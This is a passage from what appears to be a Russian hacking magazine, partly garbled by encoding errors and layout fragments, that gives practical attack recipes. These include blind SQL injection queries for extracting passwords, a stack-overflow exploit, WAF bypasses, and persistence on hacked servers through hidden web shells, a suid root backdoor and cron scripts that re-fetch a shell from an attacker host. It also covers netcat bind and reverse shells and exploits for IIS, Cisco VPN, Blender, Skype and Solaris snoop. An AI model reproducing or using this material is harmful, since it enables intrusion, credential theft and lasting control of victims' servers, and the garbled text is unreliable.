Если запрос не удался, значит, версия, отличная от 4*. Пробуем по-
другому:

id=1 and version() like '5%'-- 

ОК, запрос такой же, как и при

id=1 and 1=1-- 

А это значит, что первый символ версии мы подобрали успешно. Я думаю, 
ты понял, что делать дальше, но я все же покажу.
Узнаем названия таблиц в information_schema.tables; желательно знать 
примерное название колонки, если нас интересует таблица с юзерами, я 
делаю обычно так:

id=1 and (select 1 from information_schema.columns where 

column_name like '%pass%' and table_name like 'u%')-- 

В данной конструкции ‘%pass%’ остается неизменным, а подбираем мы 
именно table_name. Если первый запрос прошел удачно, тогда пробуем 
подобрать второй из символов:

id=1 and (select 1 from information_schema.columns where 

column_name like '%pass%' and table_name like 'us%')-- 

И так далее. Предположим, мы получили имя таблицы users и колонки 
username, password,id. Составим запрос на получение пароля из базы:

id=1 and (select 1 from users where id=1 and password like 

'q%')--

Подбирается по образу и подобию предыдущих запросов. Символ % в 
конструкции LIKE говорит о том, что после ‘q’ находится 1 и более любых 
символов.

¹ 1

¹ 2



Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

Символы 0x41 (A) переполнили стек и заполнили собой регистры ebp и eip. Ре-
гистр eip указывает на адрес возврата, область в памяти, куда должно перейти 
управление программы. Наша задача — подменить eip на нужное значение. 
Для примера вызовем функцию text() во второй раз. Для этого надо узнать ее 
адрес в памяти:

spyder@l33t:~/c> gdb bof

(gdb) disas main

Dump of assembler code for function main:

0x0804848d <main+0>:    push   %ebp

0x0804848e <main+1>:    mov    %esp,%ebp

0x08048490 <main+3>:    and    $0xfffffff0,%esp

0x08048493 <main+6>:    sub    $0x10,%esp

0x08048496 <main+9>:    call   0x8048479 <text>

0x0804849b <main+14>:   mov    0xc(%ebp),%eax

0x0804849e <main+17>:   add    $0x4,%eax

0x080484a1 <main+20>:   mov    (%eax),%eax

0x080484a3 <main+22>:   mov    %eax,(%esp)

0x080484a6 <main+25>:   call   0x8048454 <return_input>

0x080484ab <main+30>:   mov    $0x0,%eax

0x080484b0 <main+35>:   leave

0x080484b1 <main+36>:   ret

Видим вызов функции text
0x08048496 <main+9>:    call   0x8048479 <text>
В моем случае адрес — 0x08048496. Теперь напишем небольшой эксплоит для 
перезаписи адреса возврата значением 0x08048496. Для этого потребуется 
отправить программе 12 байт мусорного кода, которые заполнят стек, еще 4 
байта, которые заполнят регистр ebp, и, наконец, наши 4 байты, которые попадут 
в регистр eip. Так как компилятор gcc использует определенную оптимизацию, 
нам нужно передать еще 6 байт мусорного кода. В итоге сплоит выглядит так:

main () {

  char stuff[]= «AAAAAAAAAAAAAAAAAAAAAAAA\x96\x84\x04\x08»;

  execlp("./bof","./bof",&stuff,NULL);

}

Стек работает с методом доступа к элементам LIFO (Last In — First Out, «пос-
ледним пришел — первым вышел»), и поэтому мы указываем байты в обратном 
порядке. Пробуем запустить наш эксплоит:

spyder@l33t:~/c> ./eip

Example

AAAAAAAAAAAAAAAAAAAAAAAA??

Example

Как ты можешь видеть, функция text() выполнилась второй раз, что говорит о 
том, что мы удачно изменили адрес возврата.

ЗАДАЧА: УЗНАТЬ ИМЕНА КОЛОНОК 
В ТАБЛИЦЕ, ЗНАЯ ЕЕ НАЗВАНИЕ

РЕШЕНИЕ:
Представлю недавно опубликованный на форуме sla.ckers.org юзером 
Paic способ, с помощью которого можно узнать имена колонок, если они 
имеют тип NOT NULL. Отправляем первый запрос, чтобы узнать, сколько 
колонок в нужной нам таблице:

id=1 and (select * from users) = (1)

В результате MySQL вернет ошибку «Operand should contain 7 column(s)». Это 
значит, что в таблице users 7 полей. Тогда составим логически верный запрос:

id=1 and (1,2,3,4,5,6,7) = (select * from users union select 

1,2,3,4,5,6,7 limit 1)

Запрос верный и ошибки мы не увидим. А теперь о том, как узнать имена 
колонок. 
Для каждого поля в запросе поочередно подставляем последователь-
ность символов %0 и, если у поля стоит ключ NOT NULL, мы увидим 
ошибку. Посмотрим на примере:

id=1 and (1,2,3,4,5,6,7) = 

(select * from users union select 1%0,2,3,4,5,6,7 

limit 1)

В итоге видим ошибку «Column ‘id’ cannot be null».
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Загрузка pcap-файла в программу 
для визуализации топологии

Организация Bindshell на Windows 
Vista/7  

Установка взаимоотношений между отдельным IP и всеми хостами, 
обнаруженными в эфире
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ЗАДАЧА:  ОБОЙТИ ЗАЩИТЫ SWEB 
И PETERHOST ХОСТИНГОВ

РЕШЕНИЕ:
Эти хостинги отличаются защитой от различных атак, таких как PHP- и SQL-инъ-
екции. Но на деле все защиты легко обходятся.

1) union select.
Sweb — тут защита только в $_GET-переменных; если есть возможность отпра-
вить данные методом POST, то защита обходится.
Peterhost — фильтруются и $_GET, и $_POST переменные, но обходится еще 
проще; достаточно вместо пробела между словами union и select вставить 
любые другие пробельные символы, такие как символ табуляции, перевода 
каретки и прочее. Вот их неполный список:

¹ 5

ВЗЛОМ

ЗАДАЧА:  ЗАКРЕПИТЬСЯ НА ВЗЛОМАН-
НОМ СЕРВЕРЕ

РЕШЕНИЕ:
Рассмотрим случай, если у нас права не root. Для начала нужно пробекдорить 
различные пшп-файлы функциями, через которые можно выполнять команды 
либо PHP-код. Вот небольшой их список. Самые палевные:

system()

passthru()

exec()

shell_exec()

pcntl_exec()

eval()

Эти функции очень быстро обнаруживаются админами, поэтому можно 
использовать менее популярные и менее известные:

assert()

preg_replace() c ìîäèôèêàòîðîì e

$a($b)

usort()

è äðóãèå

Следующее, что следует сделать — это расплодить и спр ятать веб-шеллы. 
Если это какой-либо паблик двиг, вроде joomla, wordpress или vbulletin, то 
замаскировать шелл под окружение не очень сложно. Так же хорошей методи-
кой считается маскировка шелла под нестандартные для PHP расширения. 
Рассмотрим такую ситуацию, когда в папке images много картинок, но все они 
имеют расширение .jpg. Мы можем спрятать шелл в .gif-картинке! Для этого 
создадим здесь .htaccess с таким содержимым:

AddType application/x-httpd-php .gif

Теперь все .gif-файлы будут выполняться как пшп-код.
Ну а что же делать, когда мы получили рут на сервере и хотим его сохранить? 
Первым делом прочитай файл /etc/shadow, — в нем хранятся пароли всех 
пользователей системы. Стоит сказать, что руткитов под новые версии ядер не 
выпускали очень давно, а запуск старых в лучшем случае вызовет ошибку, и в 
худшем похоронит сервер. Основными вариантами закрепления на сервере 

являются: протроянивание OpenSSH и маскировка суидников. Про пакости в 
OpenSSH ты можешь прочитать в статье ShadOS’а, которую непременно най-
дешь в Гугле, а про суидники я расскажу прямо сейчас, благо, тут нет ничего 
сложного. Создаем на сервере файл suid.c, содержимое которого:

#include <stdio.h>

 int main(int argc, char **argv){

   system(argv[1]);

 }

Компилируем его командой gcc suid.c -o suid. Суидник (наверняка ты знаешь) 
— это исполняемый файл с suid-битом. Суид-бит позволяет выполнять про-
граммы от имени пользователя, к которому он принадлежит. Эта программа 
принимает параметр и вызывает функцию system(). Попробуем запустить ее 
без suid-бита:

./suid id

uid=30(www) gid=30(www)

А звтем из-под рута выполним команду:

chown 0:0 suid;chmod 4755 suid

И — выполним от пользователя www:

./suid id

uid=30(www) gid=30(www) egid=0(root)

Пусть тебя не смущает uid=30, теперь у нас полноценные права рута! Нужно 
как следует спрятать его в каталоге /usr/bin.

¹ 4

Переполняем буфер программы символами А

Смотрим результат в дебагере
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%0a

%0b

%0c

%0d

2) order by.
В обоих случаях вместо order by можно использовать group by, про который 
сотрудники хостингов, видимо, не знают. Так же можно написать буквы в разных 
регистрах, oRdEr bY, либо использовать вышеперечисленные пробельные 
символы.
3) PHP-injection.
Здесь абсолютно никакой защиты нет, разве что свеб хостинг пугает нас 
страшными ошибками, если в переменной указать /etc/passwd, хотя никто 
не помешает проверять наличие инклудов другими файлами, например /etc/
hosts.

ЗАДАЧА:  НАСТРОИТЬ КРОН ДЛЯ ПОСТО-
ЯННОГО НАЛИЧИЯ ФАЙЛА НА СЕРВЕРЕ

РЕШЕНИЕ:
Допустим, ты взломал сайт и очень хочешь, чтобы там остался твой шелл/фрейм/
дор. Рассмотрим все ситуации подробно.
1) Шелл.
Создадим файлик (назовем его cronshell.php) с содержимым:

<?php

$file = /home/user/www/shell.php;

if(file_exists($file) == false) {

  copy('http://www.h4x0r.com/shell.txt', $file);

}

?>

Код будет проверять, существует ли файл на сервере и, если его нет, скопирует 
с твоего сайта. Кстати, убедись, что директива allow_url_fopen установлена в 
значение On, иначе используй функцию system() и команду wget.
2) Фрейм.
Фрейм мы будем размещать в файле index.php, хотя ты можешь сделать это с лю-
бым другим файлом. Для начала скопируй файл index.php с фреймом внутри на 
удаленный сервер; это будет наш бэкап, на случай если админ заметит фрейм. 
Далее напишем скрипт cronframe.php:

<?php

$frame = 'çäåñü êîä òâîåãî ôðåéìà';

$frame = preg_quote($file,'/');

$file = file_get_contents('/home/user/www/index.php');

preg_match($frame,$result,$file); // ïðîâåðÿåì ôàéë íà íàëè-

÷èå ôðåéìà

if ($result == '') { // åñëè ôðåéìà íåò

  system('rm /home/user/www/index.php’); // óäàëÿåì ôàéë

  copy('http://www.h4x0r.com/index.txt', '/home/user/www/

index.php'); // è êîïèðóåì íà åãî ìåñòî ôàéë ñ ôðåéìîì

}

?>

3) Доры.

<?php

$testfile = '/home/user/www/dors/sitemap.html'; //ôàéë äëÿ 

ïðîâåðêè íàëè÷èÿ äîðîâ

if(file_exists($testfile) == false) { // ïðîâåðÿåì íà íàëè÷èå 

ôàéëà è, åñëè íåò...

  system('rm -rf /home/user/www/dors;mkdir /home/user/www/

dors');

  copy('http://www.h4x0r.com/dors.tgz',

    '/home/user/www/dors/'); // êîïèðóåì àðõèâ ñ äîðàìè â ïàïêó

  system('tar xzf /home/user/www/dors/dors.tgz');

     // è ðàçàðõèâèðóåì åãî

}

?>

А теперь о том, как заставить крон обрабатывать наши файлы. Создадим в папке 
/home/user/ временный файл test:

SHELL=/bin/bash

MAILTO=user

0-59 * * * * /home/user/cron.php

Разберем его: первая строка указывает, какую шелл-оболочку нужно использо-
вать, вторая, какому юзеру отправлять отчет о работе крона и, наконец, третья 
указывает, что файл /home/user/cron.php должен выполняться каждую минуту.
Теперь занесем запись в таблицу, для этого выполним команду:

crontab /home/user/test

Готово! В каталоге /var/spool/cron будет создан файл «user» примерно с таким 
содержимым:

# DO NOT EDIT THIS FILE — edit the master and reinstall.

# (/home/user/test installed on Mon Mar 29 02:31:34 2004)

# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 

vixie Exp $)

SHELL=/bin/bash

MAILTO=user

0-59 * * * * /home/user/cron.php

— и файл /home/user/cron.php будет запускаться каждую минуту.

¹ 6

Организация reverse-shell на Windows Vista/7  

Сорец небольшого эксплоита, изменяющего адрес возврата…
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ЗАДАЧА:   НАУЧИТЬСЯ РАБОТАТЬ 
С NETCAT ПОД VISTA 

РЕШЕНИЕ:
Здесь нет ничего сложного, но есть уловка, которую немногие знают. 
Попробуй при вызове интерпретатора обратиться к powershell.exe, 
вместо привычного cmd.exe и посмотришь, что получится :).

Îðãàíèçàöèÿ BindShell:

nc -l -e powershell.exe -t -p 666 

telnet localhost 666 

Îðãàíèçàöèÿ ReverseShell:

nc -l -p 666 

nc -e powershell.exe localhost 666 

Еще один трюк связан с широкими возможностями PowerShell. 
Например, на нем можно создать клон netcat, только в скриптовой 
интерпретации:

function Trace-Port([int]$port=23, 

[string]$IPAdress="127.0.0.1", [switch]$Echo=$false){

    $listener = new-object System.Net.Sockets.

TcpListener([System.Net.IPAddress]::Parse($IPAdress), $port)

    $listener.start()

    [byte[]]$bytes = 0..255|%{0}

    write-host "Waiting for a connection on port $port..."

    $client = $listener.AcceptTcpClient()

    write-host "Connected from $($client.Client.

RemoteEndPoint)"

    $stream = $client.GetStream()

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)

    {

        $bytes[0..($i-1)]|%{$_}

        if ($Echo){$stream.Write($bytes,0,$i)}

    }

    $client.Close()

    $listener.Stop()

    write-host "Connection closed."

}

Пример запуска сценария:

PS> Trace-Port -ip 192.168.1.99 -port 333

Waiting for a connection on port 333...

Now script waiting for connection on port 333. I will connect to 

this port using telnet.exe, and then write word "Test" into it:

Connected from 192.168.1.99:61829

84

101

115

116

13

10

Connection closed.

Соответственно, меняя «test»-параметр, ты можешь добиться успеш-
ной передачи команд на исполнение.   z
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ЗАДАЧА:  СДЕЛАТЬ ВИЗУАЛИЗАЦИЮ 
ТОПОЛОГИИ ИЗ ЗАХВАЧЕННОГО СЕТЕ-
ВОГО ТРАФИКА

РЕШЕНИЕ:
Подобные вещи умеет делать NMAP, правда, после передачи ему его же отчета 
либо при проведении сканирования. Движок там еще сыроват, при обилии 
хостов жутко виснет и делает работу невозможной. Поэтому предлагаю тебе 
немного другое решение.

1. Зададим какой-нибудь параметр для сбора трафика в файл .pcap:

tcpdump -w test.pcap -i eth1 tcp port 6881 or udp \( 33210 or 

33220 \)

2. Сохраненный трафик скормим специальной программе — rumint (rumint.org), 
которая в два щелчка выдаст тебе топологическую карту в нескольких вариантах 
просмотра.

ЗАДАЧА:  СНИФАЯ СЕТКУ, ПЕРЕХВА-
ТИТЬ ФАЙЛЫ В ЯВНОМ ВИДЕ ПО FTP

РЕШЕНИЕ:
Современные сниферы позволяют нюхать трафик, но получать целые файлы — 
очень проблемно. Собирать в бинарном виде дату этих файлов и сохранять 
вручную — неудобно! Для автоматизации процесса существуют более простые 
программы, вроде FTPXerox v1.0 (members.fortunecity.com/sektorsecurity/

projects/ftpxerox.html). Как только она палит, что где-то передается файл, то 
сразу перехватывает его и сохраняет локально.
Все, что требуется — только запустить программу. Предварительно надо пере-
направить траф на себя, проведя одну из атак по несанкционированному сбору 
пользовательского трафика. Утилита открывает неразборчивый режим сетевой 
карты, поэтому опционально эта возможность должна быть поддерживаема 
твоим адаптером.
Софтинка имеет лишь одно ограничение — нет поддержки пассивного режима 
работы FTP. В остальном — работает без каких-либо глюков.
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…и результат его работы, как видим, успешной Перехват файлов по FTP-транспорту
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ОБХОД ОГРАНИЧЕНИЙ В CISCO VPN SSL

  BRIEF     CISCO VPN SSL — модуль к CISCO ASA и целой линейке продук-
тов CISCO, который предназначен для расширения сетевого функцио-
нала девайса. Он позволяет организовать распределенную VPN-сеть, 
увеличив сетевые ресурсы инфраструктуры за счет разнесенных через 
интернет клиентов. 

 EXPLOIT   CISCO VPN Clientless — ограничивающий клиента опционал, 
который разрешает или запрещает пользователю VPN обращаться к 
ресурсам виртуальной частной сети. Реализация механизма ограниче-
ний воистину выполнена очень криво. CISCO шифрует ресурс в ужасную 
строку, затем подставляет к ней специальное слово, конструирует линк 
и только тогда доверенный пользователь, открывая ее, получает доступ 
к ресурсу.
Как выяснилось, любой желающий может спокойно обратиться к любому 
интернет/Intranet-узлу, обходя ограничения системы. Предположим, 
желанный ресурс — http://intranet. Чтобы обратиться к нему, следует 
произвести следующие действия:
1) Преобразуем строку к ROT13 — uggc://vagenarg.
2) Символы ASCII-последовательности конвертим в HEX — 
756767633a2f2f766167656e617267.
3) Открываем в браузере линк — https://[CISCOVPNSSL]/+CSCO+0075676
7633a2f2f766167656e617267++.
Все! Для упрощения процесса злодеи написали скрипт:

#!/bin/bash

echo -n "write URL:"

read a

b=`echo -n $a | tr '[a-m][n-z][A-M][N-Z]' '[n-z][a-m]

[N-Z][A-M]' | od

-tx1 | cut  -c8- | sed 's/ //g'` | paste -s -d '';

echo -n "URL "

echo -n "https://[CISCOVPNSSL]/+CSCO+00";; echo -n $b; 

echo -n "++";

echo "";

 
  SOLUTION   Активируй дополнительные типы ACL-листов (webtype/
filter), а также ознакомься с документом «Cisco Understanding Features 
NotSupported in Clientless SSL VPN». 

  TARGETS   Cisco ASA <= 8.x.

ОБХОД ОГРАНИЧЕНИЙ БЕЗОПАСНОСТИ 
В MICROSOFT IIS

 BRIEF    Уязвимость найдена в известнейшем WEB-сервере от Microsoft. 
Путем загрузки специально сформированных ASP-файлов на узел 
существует возможность выполнить произвольный код, пробекдорить 
систему и далее — делать практически, что угодно. Вызвано это недоста-
точными ограничениями при проверке расширений файлов.  

  EXPLOIT    IIS нормально воспринимает имена файлов с расширениями: 
.asp;.gif, .asp;.jpg, .asp;.exe. При проверке сервер обращает внимание 
только на первое расширение, а что стоит за «;» — ему без разницы. 
Методика состоит в том, что, используя такое обстоятельство, мы пред-
варительно готовим злонамеренный файл, загружаем его на сервер 
(идеально, если это будет картинка), затем обращаемся через WEB для 

ÐÓÁÐÈÊÓ ÌÎÆÍÎ ÏÅÐÅÈÌÅÍÎÂÛÂÀÒÜ Â «ÊÀÊ ÑÒÐÀØÍÎ ÆÈÒÜ», Ó×ÈÒÛÂÀß, ×ÒÎ Ñ ÊÀÆÄÛÌ ÍÎÌÅÐÎÌ, ÄÍÅÌ È ÄÀÆÅ ×ÀÑÎÌ 
×ÈÑËÎ ÎÁÍÀÐÓÆÅÍÍÛÕ ÁÐÅØÅÉ Â ÐÀÇËÈ×ÍÛÕ ÑÈÑÒÅÌÀÕ È ÏÎ ÍÅ ÓÌÅÍÜØÀÅÒÑß, À ÍÅÈÇÌÅÍÍÎ ÐÀÑÒÅÒ. ÌÅÆÄÓ ÏÐÎ×ÈÌ, Ê ×ÈÒÀ-
ÒÅËßÌ, ÄÅËÎÂÎÅ ÏÐÅÄËÎÆÅÍÈÅ ÍÀ ÏÅÐÑÏÅÊÒÈÂÓ — ÅÑËÈ ÇÀÍÈÌÀÅØÜÑß ÀÍÀËÈÇÎÌ ÊÎÄÀ, ÈÇÓ×ÅÍÈÅÌ ÀÑÏÅÊÒÎÂ ÁÅÇÎÏÀÑÍÎÑÒÈ 
ÏÎ È ÌÎÆÅØÜ ×ÅÌ-ÒÎ ÏÎÄÅËÈÒÜÑß, ÒÎ ÏÐÈÑÛËÀÉ ÑÂÎÈ ÇÀÌÅ×ÀÍÈß ÈËÈ ÏÐÅÄËÎÆÅÍÈß ÍÀ ÌÎÞ ÏÎ×ÒÓ. ÍÀÈÁÎËÅÅ ÈÍÒÅÐÅÑÍÛÅ 
ÈÇ ÍÈÕ ÏÎÏÀÄÓÒ ÍÀ ÑÒÐÀÍÈÖÛ ÐÓÁÐÈÊÈ È ÏÎÐÀÄÓÞÒ ÃËÀÇ. ÈÍÒÅÐÅÑÍÅÅ ÂÑÅÃÎ, ÅÑËÈ ÝÒÎ ÁÓÄÓÒ ÅÙÅ ÍÅÎÏÓÁËÈÊÎÂÀÍÍÛÅ ÍÈÃÄÅ 
ÝÊÑÏËÎÈÒÛ ÈËÈ ÁÐÅØÈ ÁÅÇÎÏÀÑÍÎÑÒÈ.
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запуска шелл-кода на исполнение. Разработ-
чиками известного дистрибутива Backtrack 
было создано средство, работающее именно 
по такой схеме (backtrack.it/~emgent/exploits/
IIS-asp.py):

./IIS-asp.py <image.jpg> <íîìåð shellcode>

Опционально, под номером шелл-кода подразумевается 0 — shell_bind_
tcp, 1 — meterpreter_bind_tcp, 2 — vncinject_bind_tcp, собственно, одни 
из самых известных payloads из пакета Metasploit.

root@andrej:/tmp# ./IIS-asp.py image.jpg 0

На выходе получаем image.asp;.jpg, которую требуется прогрузить на 
WEB-сервер. Конечно, такая возможность бывает далеко не всегда. Тем 
не менее, если она есть, через форму обзора выбираем наш файл, льем 
на сервер (например, в папку «images», «avatars», «uploads»). После 
чего обращаемся к ней:

http://127.0.0.1/images/image.asp;.jpg

root@andrej:/tmp# nc -vv 10.12.6.6 31337

# Zerbion [10.12.6.6] 31337 (?) open

#

# Microsoft Windows [Version 5.2.3790]

# (C) Copyright 1985-2003 Microsoft Corp.

#

# c:\windows\system32\inetsrv>whoami

> nt authority\network service

Порядок!

  SOLUTION    Тщательнее фильтровать прогружаемое на сервер содержи-
мое на прикладном уровне. 

  TARGETS   Microsoft Internet Information Services (IIS) 5.x/6.x.

ИНЖЕКТ КОДА В ФАЙЛЫ ПРОЕКТОВ 
BLENDER

  BRIEF   Blender  (blender.org) —  это известный продукт для 3D-разра-
ботчиков и аниматоров, который позволяет использовать средства 
моделирования, рендеринга, постобработки видео и многое другое!  На 
самом деле полноценно пользоваться им умеют только профессионалы, 
потому что он непрост в использовании. Попал он в рубрику по той прос-
той причине, что существует возможность использовать его выходные 
файлы (формат .blend) в качестве вредоносных.

  EXPLOIT    Открой текстовый редактор кода Blender (Text Editor), правый 
клик, «New». В появившемся поле, пишем свой код на Python, например:

import os

os.system("calc.exe")

В поле «Text Name» (TX:Text.001) заменяем значение на свое с указани-
ем нашего скрипта TX:myscript. Затем переходим на панель «Buttons 
Window», из выпадающей панели (panel) выбираем «Script», при этом 
проверив, что графа «enable script links» активна. Жмем на «New», 
выбираем нами созданное скриптовое описание (myscript). Из выпа-
дающего меню событий выбери «OnLoad». Теперь сохраняем файл в 
выходной, это делается из «User Preferences  File  Save».

  TARGETS    Blender 2.49b, Blender 2.40, Blender 2.35a, Blender 2.34. 

  SOLUTION    Производитель был уведомлен о подобном способе внедре-
ния злонамеренного кода в свои продукты, но никакой ответной реакции 
не последовало. Из практических советов можно дать способ изучения 
.blend-файла — парсить проект на предмет SDNA Scriptlink (http://www.

03

КОД SHELLCODE'A ПРЕОБРАЗОВАН В ПОС-
ЛЕДОВАТЕЛЬНОСТЬ СИМВОЛОВ, ПРЕД-
СТАВЛЕННЫХ В ВИДЕ ОПЕРАТОРА ВЗЯТИЯ 
СИМВОЛА ПО ЕГО НОМЕРУ В ТАБЛИЦЕ ASCII

С ПОМОЩЬЮ XDOTOOL МОЖНО ДЕЛАТЬ С МЫШЬЮ И КЛАВИАТУРОЙ ПРАКТИЧЕСКИ ВСЕ, ЧТО 
УГОДНО. НАПРИМЕР, ПО ТАЙМЕРУ ИСПОЛНИТЬ СНЯТИЕ СКРИНШОТА С ОПРЕДЕЛЕННОЙ ЗОНЫ 
ЭКРАНА
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atmind.nl/blender/blender-sdna.html#struct:ScriptLink), куда помещается 
сам код.

УЯЗВИМОСТИ В LINUX-ВЕРСИИ SKYPE

 BRIEF    Сразу после нового года двое итальянских исследователей 
обнаружили странный косяк в Skype (и даже несколько). Скорее, эти уяз-
вимости я бы причислил не к классам конкретных брешей безопасности, 
а к ошибкам проектирования (design error). Касаются они только Linux-
версии, GUI-интерфейс которой написан с использованием средств 
библиотеки QT (qt.nokia.com/products).  

EXPLOIT 
1. Реализация pseudo-XSS. Многие поля программы воспринимают теги 
HTML из-за того, что они не урезаются программно. Возможно, раз-
работчиками подразумевалось, что пользователь может сделать свой 
ник жирным или добавить контакт в другом цвете с помощью средств 
разметки, но, по моему мнению — просто не уследили. Попробуй исполь-
зовать тэг «"><h1><"»  в поиске контактов, обзоре для выбора файлов для 
отправки, полях профиля. Увидел? Конечно, эксплуатировать такое — 
достаточно трудно, но, если проявить смекалку, можно добиться инте-
ресного. Например, поле «Домашняя страница» в профиле доступно для 
клика сторонним пользователям. Это значит, если мы сумеем засунуть 
туда реализацию XSS, то вполне вероятно, что, когда интересующийся 
нашей домашней страницей юзер кликнет по ней, просматривая наш 
профиль, его ждет беда, хотя бы на уровне «phishing»-атаки:

õakep.ru">Îøèáêà! Íåäîïóñòèìûé îáúåêò ãèïåðññûëêè.>

При таком раскладе в профиле в качестве страницы будет виднеться 
google.it, а вот после клика пользователь угодит на наш сайт журнала! 
Естественно, в реалиях место «Хакер.ру» займет ресурс с вредоносным 
кодом, на котором в том числе может располагаться сценарий проведе-
ния XSS-атаки.
2. Denial Of Service — загрузка ЦП на 100%. Для изучения атаки требу-
ется установка xdotool (semicomplete.com/projects/xdotool) — средства 
имитации виртуальных мыши и клавиатуры. Часто его используют для 

автоматизации ручных задач в Linux/FreeBSD, например, повторяю-
щихся действий в рамках браузера, какой-то программы и так далее. 
Впрочем, для Windows таких средств навалом (Automize). 
Сначала курсор мыши требуется руками установить в поле ввода сооб-
щения Skype, затем средствами xdotool мы сформируем большую строку, 
состоящую из знаков пробела, и отправим ее:

sleep 5 && xdotool type "`perl -e "print 'S 'x44801"`" && 

xdotool key Return

sleep 5 && xdotool type 's/../' && xdotool type "`perl -e 

"print 'S 'x44801"`" && xdotool type '/' && xdotool key 

Return

Соответственно, 0x44801 — пробельный заменитель в хексе.
Вследствие этого произойдет отказ в обслуживании программы из-за 
недостаточной проверки входных данных. При некоторых обстоятель-
ствах был замечен «вылет» собеседника из программы. Более безо-
бидные примеры переполнений были обнаружены при организации 
звонков или посылке SMS на номера, превышающие 89601-символ.

  TARGETS 
Версии <=2.1 Beta.

  SOLUTION  
В настоящее время исправлений уязвимости не имеется.

МНОЖЕСТВЕННЫЕ ПЕРЕПОЛНЕНИЯ 
БУФЕРА В SUN SOLARIS (SNOOP)

 BRIEF    В августе прошлого года были обнаружены критические уяз-
вимости в утилите snoop (docs.sun.com/app/docs/doc/819-2240/snoop-
1m?a=view) ОС SUN Solaris. Snoop представляет собой средство сетевого 
мониторинга и анализа, некий аналог tcpdump/ethereal. Нетрудно 
догадаться, что уязвимости, эксплуатируемые в сниферах, как правило, 

КТО БЫ ЗНАЛ, ЧТО В СТОЛЬ БЕ-
ЗОБИДНЫЙ ПРОЕКТ МОЖНО 
ВНЕДРИТЬ ЧТО-ТО ВРЕДОНОС-
НОЕ!

ВЗЛОМ
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связаны с неправильной обработкой анализируемых пакетов стека 
разных протоколов. На примере Wireshark:

CVE-2006-3627 — îòêàç â îáñëóæèâàíèè è âûïîëíåíèå ïðîèç-

âîëüíîãî êîäà ïðè àíàëèçå ïàêåòîâ GSM BSSMAP

CVE-2009-3243 — îòêàç â îáñëóæèâàíèè è âûïîëíåíèå ïðîèç-

âîëüíîãî êîäà ïðè àíàëèçå ïàêåòîâ TLS

CVE-2009-3550 — îòêàç â îáñëóæèâàíèè è âûïîëíåíèå ïðîèç-

âîëüíîãî êîäà ïðè àíàëèçå DCERPC-ïàêåòîâ

CVE-2009-3829 — öåëî÷èñëåííîå ïåðåïîëíåíèå â wiretap/

erf.c ïðè àíàëèçå áåñïðîâîäíîãî ñòåêà ïðîòîêîëîâ

Поверь, список можно продолжать еще долго. Из-за обилия и разнооб-
разия протоколов и их структур разработчики иногда здорово халтурят, 
забывая, что могут допустить огромные бреши в безопасности при таком 
подходе. На этот раз уязвимость связана с обработкой SMB-пакетов 
(src/cmd/cmd-inet/usr.sbin/snoop/snoop_smb.c). Взглянем на уязвимый 
фрагмент кода:

06 static void

07 interpret_negprot(int flags, uchar_t *data, 

  int len, char *xtra)

08 {

09     int length;

10     int bytecount;

11     char dialect[256];

12        ...

13     protodata = (uchar_t *)data + 

  sizeof (struct smb);

14     protodata++;            /* skip wordcount */

15  

16     if (smbdata->flags & SERVER_RESPONSE) {

17        ...

18     } else {

19         /*

20          * request packet:

21          * short bytecount;

22          * struct { char fmt; char name[]; } dialects

23          */

24         bytecount = get2(protodata);

25         protodata += 2;

26         if (flags & F_SUM) {

27             while (bytecount > 1) {

28                 length = sprintf(dialect, 

   (char *)protodata+1);

29                 protodata += (length+2);

30                 bytecount -= (length+2);

31             }

Обратив внимание на строку 16, можно понять, что, если SMB-
пакет не является ответом сервера, то ветвление перейдет 
на «else» условие и механизм по парсингу пакета (get2()). 
Продолжается считывание и заполнение структуры данных 
пакета (27), до метки F_SUM. После чего выполняется копиро-
вание части элементов управляемого пользователем пакета в 
буфер (dialect) с помощью функции sprintf. При этом сам буфер 
ограничен всего 256 байтами, а никаких проверок на него не 
производится. 

ПРОБИРАЕМСЯ НА WEB-СЕРВЕР

РАБОТА SOLARIS SNOOP — СНИФЕР КАК СНИФЕР!
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 EXPLOIT    Рабочий код эксплоита можно скачать здесь — milw0rm.org/
exploits/6328. 
Действия атакующего:

attack:/exploits# ./hoagie_snoop -t 192.168.0.1

* [*] attacking 'SunOS opensolaris 5.11 snv_86 i86pc i386 

i86pc' on '192.168.0.1' ...

 * [*] execute 'uname -a > /tmp/.patch.your.system.txt' 

now ...

 * [*] done

attack:/exploits#

То, что при этом видит администратор системы: 

admin@opensolaris:~# snoop port 445

 * Using device pcn0 (promiscuous mode)

 * sh[1]: i??SMBr: not found [No such file or directory]

 * WARNING: received signal 11 from packet 1

admin@opensolaris:~# cat /tmp/.patch.your.system.txt

 * SunOS opensolaris 5.11 snv_86 i86pc i386 i86pc Solaris 

admin@opensolaris:~#

Устройство самого эксплоита крайне просто! Рассмотрим его главную 
часть, отвечающую за эксплуатацию переполнения буфера. Сначала со-
здается «сырой» сокет для формирования и инжекта своего пакета в сеть:

01  s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);

02  if (s == -1) {

03    printf("[*] failed to create raw socket\n");

04  } else {

05    sin.sin_family = AF_INET;

06    sin.sin_port = htons(port);

07    sin.sin_addr.s_addr = inet_addr(target);

08  

09    if (!command) {

10      command = "uname -a > /tmp/.patch.your.system.txt";

11    }

12  

13    printf("[*] attacking '%s' on '%s' ...\n",

         targets[idx].description, target);

Далее происходит вставка своей исполняемой на удаленной машине 
команды в буфер, кстати, с помощью безопасной функции snprintf:

ПОДУМАТЬ ТОЛЬКО, СТОЛЬКО УЯЗВИМОСТЕЙ В СНИФЕРЕ!

ВЗЛОМ
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1 snprintf(buffer, sizeof(buffer), ";%s;",

   command);

2  

3 /* char dialect[256] */

4 for (i = strlen(buffer); i < 256; i++) { buffer[i] 

= SMB_HEADER_FILLER; }

Цикл заполняет буфер dialect до нужной консистенции по структуре. За-
тем происходит перезапись нужных адресов за буфером для достижения 
EIP и его последующая перезапись на нужный нам адрес возврата:

1 /* Ïåðåçàïèñü bytecount*/

2 buffer[i++] = SMB_HEADER_FILLER;

3 buffer[i++] = SMB_HEADER_FILLER;

4 buffer[i++] = SMB_HEADER_FILLER;

5 buffer[i++] = SMB_HEADER_FILLER;

1 /* Ïåðåçàïèñü length */

2 buffer[i++] = SMB_HEADER_FILLER;

3 buffer[i++] = SMB_HEADER_FILLER;

4 buffer[i++] = SMB_HEADER_FILLER;

5 buffer[i++] = SMB_HEADER_FILLER;

